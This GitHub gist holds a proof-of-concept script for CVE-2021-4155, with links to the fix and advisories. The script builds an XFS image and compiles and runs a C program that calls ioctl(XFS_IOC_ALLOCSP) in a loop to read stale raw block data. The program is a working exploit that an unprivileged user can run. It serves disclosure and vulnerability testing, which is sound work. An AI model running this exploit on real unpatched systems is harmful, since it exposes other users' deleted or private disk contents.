Skip to content

Instantly share code, notes, and snippets.

@tkhai
Created January 13, 2022 22:59
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save tkhai/aae1f6add2fce35680c70dd6063dd837 to your computer and use it in GitHub Desktop.
Save tkhai/aae1f6add2fce35680c70dd6063dd837 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Reproducer for CVE-2021-4155
# This script shows the way ioctl(XFS_IOC_ALLOCSP) and friends
# leak 4095 bytes of every XFS block (4096 bytes) -- almost everything.
# Found by ktkhai@virtuozzo.com, fix and report sent to Red Hat and security@kernel.org.
# Fix: https://lists.openvz.org/pipermail/devel/2021-December/079470.html
# Fix in ms: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=983d8e60f50806f90534cc5373d0ce867e5aaf79
# https://www.virtuozzo.com/company/blog/xfs-file-system-vulnerability-cve-2021-4155/
# https://access.redhat.com/security/cve/cve-2021-4155
# This is a strange ioctl(XFS_IOC_ALLOCSP), which does
# the same as fallocate(). The only difference is that it can leak raw block device data.
# This may be a backdoor, but since it's introduced long time ago before git, it's difficult to investigate.
# Prepare block device image.
wget http://lib.ru/SHAKESPEARE/ENGL/hamlet_en.txt -O hamlet_en.txt || exit 1
truncate -s 0 file.img || exit 1
for i in `seq 100`; do
cat hamlet_en.txt >> file.img || exit 1
done
losetup /dev/loop0 file.img || exit 1
# Make filesystem on block device.
# '-K' means -- do not discard old disk data.
mkfs.xfs -Kf /dev/loop0 || exit 1
mount /dev/loop0 /mnt || exit 1
# Now we have a prepared mountpoint.
# The below may be executed under unprivileged user.
cat > xfs_test.c <<- EOM
#include <xfs/xfs.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char *argv[])
{
xfs_flock64_t arg;
unsigned long i;
int fd, ret;
if (argc != 2) {
fprintf(stderr, "Wrong args\n");
exit(1);
}
fd = open(argv[1], O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd < 0) {
perror("open");
exit(1);
}
for (i = 1; i < 100000; i++) {
if (ftruncate(fd, 4096 * i - 1)) {
perror("truncate");
exit(1);
}
arg.l_whence = SEEK_SET;
arg.l_start = 4096 * i;
ret = ioctl(fd, XFS_IOC_ALLOCSP, &arg);
if (ret < 0) {
perror("ioctl");
exit(1);
}
}
close(fd);
}
EOM
gcc xfs_test.c -o xfs_test || exit 1
./xfs_test /mnt/read_me
# If you see Shakespeare's text here, your kernel is vulnerable.
less /mnt/read_me || exit 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment